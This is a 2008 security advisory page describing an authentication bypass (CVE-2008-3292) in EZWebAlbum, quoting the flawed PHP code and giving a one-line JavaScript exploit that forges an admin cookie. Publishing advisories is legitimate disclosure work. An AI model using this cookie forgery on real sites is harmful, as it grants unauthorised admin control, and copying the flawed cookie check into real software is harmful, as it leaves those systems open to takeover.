|
 |
| SecurityReason | ||
| WLB | ||
| RSS | ||
| Corporate | ||
| Services | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
| Details : SecurityAlert | ||||
 SecurityAlert : 4033 CVE : CVE-2008-3292 CWE : CWE-287 SecurityRisk : Medium  (About) Remote Exploit : Yes Local Exploit : No Victim interaction required : No Exploit Given : No Credit : young iranian h4ck3rz Published : 26.07.2008
Advisory Text : ########################################################################### ######## # # # ...:::::EZWebAlbum Insecure Cookie Handling Vulnerability ::::.... # ########################################################################### ######## Virangar Security Team www.virangar.net www.virangar.ir -------- Discoverd By :virangar security team(Zahra:zh_virangar) special tnx :my master hadihadi tnx to:MR.nosrati,black.shadowes,MR.hesy & all virangar members & all hackerz ------- DESCRIPTION: EZWebAlbum, suffers from insecure cookie handling, when a admin login is successfull the script creates a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are logged in as a legit admin. --- some code in index.php: if ( $HTTP_POST_VARS['enteredadminpassword'] == $adminpassword ) { setcookie("photoalbumadmin","1"); header("Location: index.php"); } ********************** now vuln code in constants.inc: $gotalbumadminrights = False; if (isset($photoalbumadmin)) { $gotalbumadminrights = True; }//SET ADMIN RIGHTS IF COOKIE FOUND --- exploit: javascript:document.cookie = "photoalbumadmin=1; path=/"; ----- now you can get admin access and manage the cms ;) [+]Example:add a new page in addpage.php ------- young iranian h4ck3rz References : http://xforce.iss.net/xforce/xfdb/43938 http://www.securityfocus.com/bid/30343 http://www.milw0rm.com/exploits/6115 Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
*BSD libc (strfmon) Multiple vulnerabilities
Maksymilian Arciemowicz discovered a Integer Overflow vulnerability in the libc library "strfmon()" function.A vulnerability could allow an attacker who successfully exploits this vulnerability to take control of the affected *BSD systems. |
||
| Apache |  |
|
» Apache Tomcat <= |
||
| PHP | |
|
» PHP 5.2.5 and prior : |
||
- 2008-03-25| Copyright © SecurityReason. All Rights Reserved. |